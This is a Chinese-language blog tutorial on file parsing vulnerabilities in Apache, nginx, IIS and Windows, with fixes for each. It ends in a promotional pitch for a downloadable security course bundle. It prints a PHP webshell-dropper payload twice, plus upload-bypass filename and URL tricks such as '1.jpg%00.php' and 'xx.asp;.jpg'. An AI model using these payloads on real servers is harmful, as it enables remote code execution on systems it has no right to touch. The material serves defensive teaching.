文件解析漏洞是指由于应用程序对上传的文件类型和内容没有充分的验证和过滤,导致一些特殊文件被 IIS、apache、nginx 或其他 Web服务器在某种情况下解释成脚本文件执行。导致攻击者可以上传恶意文件,绕过应用程序的安全限制,执行恶意代码或者访问敏感数据的漏洞。
常见解析漏洞
apache解析漏洞
Apache解析漏洞主要是因为Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准)
例如:
dff.php.owf.rar 这个文件名 .owf和.rar 这两种后缀是apache不可识别的解析,apache就会把 dff.php.owf.rar解析成 dff.php 。
其实漏洞的产生, 是由于运维人员在配置服务器时,为了使 apache 服务器能解析 php ,而自己添加一个handler,它的作用也是为了让 apache 把 php 文件交给 php_module 解析 , 但是注意到它与 SetHandler: 它的后缀不是用正则去匹配的。所以 ,在文件名的任何位置匹配到php后缀,它都会让php_module解析。
AddType application/xhttpdphp .php
修复:不要使用AddHandler, 改用 SetHandler, 写好正则 , 就不会有解析问题
Apache换行解析漏洞(CVE-2017-15715)
影响范围:2.4.0-2.4.29版本
原因:合法后缀配置文件中的正则表达式中$不仅匹配字符串结尾位置,还可以匹配\n或\r,在解析php时,1.php\x0A将按照.php进行解析,而’.php\x0A’ != ‘.php’,可能过滤时过滤了.php但没有过滤.php\x0A从而实现绕过。
配置文件:过滤后缀名.php
<FilesMatch \.php$>
SetHandler application/x-httpd-php
`>
可以看到在正则中是 \.php$, 因为结尾有个 $ 符号,结合上述原理, $ 匹配配 ‘\n’ 或 ‘\r’ ,所以我们修改数据包在文件名后加\n , \n 的十六进制为 0a
修复:
升级到最新版本
在httpd.conf中加入其他正则表达式。
nginx解析漏洞
nginx<8.03
由于nginx默认是用cgi解析php的(即开启fast-cgi模式),由于nginx.conf的如下配置导致nginx把以’.php’结尾的文件交给fastcgi处理,对于任意文件名,在后面添加/xxx.php(xxx)为任意字符后,即可将文件作为php解析,因此和IIS一样制作图片马。
<?PHP fputs(fopen('shell.php','w'),'<?php eval($\\\_POST\\\[cmd\\\])?>');?>直接访问http://xx.xx.xx.xx/1.jpg/.php
修复:
1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0
2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php
nginx 0.5,0.6, 0.7 <= 0.7.65, 0.8 <= 0.8.37
nginx遇到%00后和fastcgi解析不一致,所以可以上传一个1.jpg图片马,然后访问http://xx.xx.xx.xx/1.jpg%00.php,这样就将jpg文件当做php文件执行了。
修复:
升级nginx版本
IIS解析漏洞
IIS 5.0/6.0
在某个.asp(.php)文件名的文件夹下的任何文件都将作为asp(php)文件执行,
即假设你能控制文件目录名,可以改变文件名为.asp(.php),然后写入一个jpg图片马,访问http://xx.xx.xx.xx/1.php/1.jpg可以连接
修复:
升级IIS版本
IIS 6.0
如xx.asp;.jpg,由于IIS不解析;后面的内容,所以就将此文件当成xx.asp进行解析,可以利用,同时IIS还可以解析xx.asa xx.cer xx.cdx文件
修复:微软认为这不是一个漏洞,所以要自己修复。
限制上传目录执行权限,不允许执行脚本。
不允许新建目录。
上传的文件经过重命名
IIS 7.x
利用条件:在php.ini里修改cgi.cgi_pathinfo=1,在fast-cgi模式下运行
当在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
制作图片马,在当前位置下新建一个shell后门文件
Payload :<?PHP fputs(fopen('shell.php','w'),'<?php eval($\\\_POST\\\[cmd\\\])?>');?>
访问 图片后面加 /xx.php即可解析
修复:
配置cgi.fix_pathinfo(php.ini中)为0(默认情况下值为1)并重启php-cgi程序。
windows解析漏洞
上传jsp%20的文件或者jsp.,windows会删除.和空格
上传jsp::DATA文件,windows会不检测DATA后面的后缀名,且保留DATA之前的文件名
上传不规则字符如 2.jsp:1.php ,windows会删除不规则:符号后面的内容
👇👇👇
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取,或微信扫描下方二维码领取~
**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。****(全套教程文末领取哈)


👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!****(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

👉5.黑客必读书单👈

👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或点击链接免费领取~
**读者福利 |** 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 **(安全链接,放心点击)**

结语
网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。
特别声明:
此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失!!!
1952

被折叠的 条评论
为什么被折叠?



